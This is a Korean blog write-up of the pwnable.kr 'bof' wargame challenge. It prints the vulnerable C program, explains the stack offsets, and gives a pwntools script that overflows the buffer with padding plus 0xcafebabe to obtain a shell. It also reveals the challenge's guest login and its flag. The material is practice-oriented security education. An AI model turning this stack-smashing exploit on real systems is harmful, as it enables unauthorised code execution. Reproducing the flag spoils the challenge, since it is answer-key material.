Kortsec1 2025. 5. 3. 00:25

0x01 문제 설명

bof문제다.


0x02 풀이 과정

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);    // smash me!
    if(key == 0xcafebabe){
        setregid(getegid(), getegid());
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}

overflowme 변수의 크기는 32byte지만, gets함수는 그 이상받을 수 있어 해당 부분에서 Buffer OverFlow 공격이 가능하다. func 함수에서 이미 정해진(0xdeadbeef) 키값을 0xcafebabe로 바꾸면 쉘이 실행되는 구조다.

overflowme 변수는 ebp-0x2c 위치에, 우리가 덮어야 할 key(argv[1])는 ebp+0x8에 위치해 있다. 따라서 우리는 입력값으로 dummy(0x34 bytes) + “cafebabe” 를 보내주면 문제가 해결된다.

pwntools를 이용해 payload를 보내본 결과 잘 동작하는 것을 볼 수 있다.

from pwn import *

s = ssh("bof", "pwnable.kr", port=2222, password="guest")
p = s.run("/bin/sh")
# p = process("./bof")

p.sendline("nc 0 9000")

pay = b"A" * 0x34 + p32(0xcafebabe)
p.sendline(pay)
p.interactive()

0x03 결과 확인

  • FLAG
  • 더보기
    Daddy_I_just_pwned_a_buff3r!

0x04 회고 및 참고 내용

bof에 대한 기본적인 지식만 있다면 쉽게 해결 할 수 있는 문제였다.